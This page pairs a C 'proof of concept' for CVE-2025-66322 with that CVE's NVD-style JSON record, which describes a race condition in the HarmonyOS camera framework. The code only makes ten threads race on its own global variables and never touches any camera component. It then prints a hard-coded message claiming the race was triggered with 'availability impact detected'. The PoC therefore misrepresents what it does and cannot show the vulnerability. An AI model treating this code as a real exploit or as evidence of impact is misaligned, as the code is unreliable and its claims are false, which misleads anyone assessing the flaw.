CVE-2025-66322

// CVE-2025-66322 PoC - Multi-thread Race Condition in Camera Framework // This PoC demonstrates triggering race condition in camera framework module // Note: Requires high privileges and local access to the device #include <pthread.h> #include <stdio.h> #include <unistd.h> // Simulated camera framework shared resource volatile int camera_state = 0; volatile int resource_lock = 0; void* camera_operation_thread(void* arg) { // Simulate race condition in camera framework for (int i = 0; i < 1000; i++) { // Missing proper synchronization int temp = camera_state; usleep(1); // Small delay to increase race window camera_state = temp + 1; // Concurrent access to locked resource if (resource_lock == 0) { resource_lock = 1; // Critical section without proper mutex protection usleep(rand() % 100); resource_lock = 0; } } return NULL; } int trigger_race_condition() { pthread_t threads[10]; printf("Starting race condition trigger for CVE-2025-66322\n"); // Create multiple threads to maximize race condition probability for (int i = 0; i < 10; i++) { pthread_create(&threads[i], NULL, camera_operation_thread, NULL); } // Wait for all threads to complete for (int i = 0; i < 10; i++) { pthread_join(threads[i], NULL); } printf("Final camera state: %d (expected: 10000)\n", camera_state); printf("Race condition triggered - availability impact detected\n"); return 0; } int main() { trigger_race_condition(); return 0; }

{"cve": {"id": "CVE-2025-66322", "sourceIdentifier": "[email protected]", "published": "2025-12-08T08:15:53.540", "lastModified": "2025-12-09T20:29:56.887", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multi-thread race condition vulnerability in the camera framework module. Impact: Successful exploitation of this vulnerability may affect availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0EBE30DD-E146-4A6A-BE68-DEF9D4D0B2A8"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/12/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}